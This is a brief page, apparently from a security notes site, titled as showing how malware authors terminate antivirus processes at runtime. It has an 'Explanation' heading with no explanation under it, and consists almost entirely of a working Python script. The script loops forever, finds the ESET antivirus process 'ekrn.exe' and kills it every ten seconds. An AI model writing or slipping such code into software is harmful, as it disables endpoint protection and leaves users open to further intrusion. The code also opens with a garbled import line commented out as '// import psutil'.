π«How Malware Author Terminate Antivirus Process during runtime ?
How Malware Author Terminate Antivirus Process during runtime ?
Explanation
// import psutil
import time
def terminate_process_by_name(process_name):
"""Terminate processes by their name."""
for process in psutil.process_iter(['name']):
if process.info['name'].lower() == process_name.lower():
try:
process.terminate()
print(f"Terminated process: {process.info['name']} (PID: {process.pid})")
return True
except psutil.NoSuchProcess:
print(f"Process {process.info['name']} (PID: {process.pid}) no longer exists")
except psutil.AccessDenied:
print(f"Access denied to terminate process: {process.info['name']} (PID: {process.pid})")
return False
if __name__ == "__main__":
process_name = 'ekrn.exe'
while True:
found = terminate_process_by_name(process_name)
if found:
print(f"Process {process_name} was found and terminated.")
else:
print(f"Process {process_name} not found.")
# Wait for 10 seconds before checking again
time.sleep(10)
Last updated
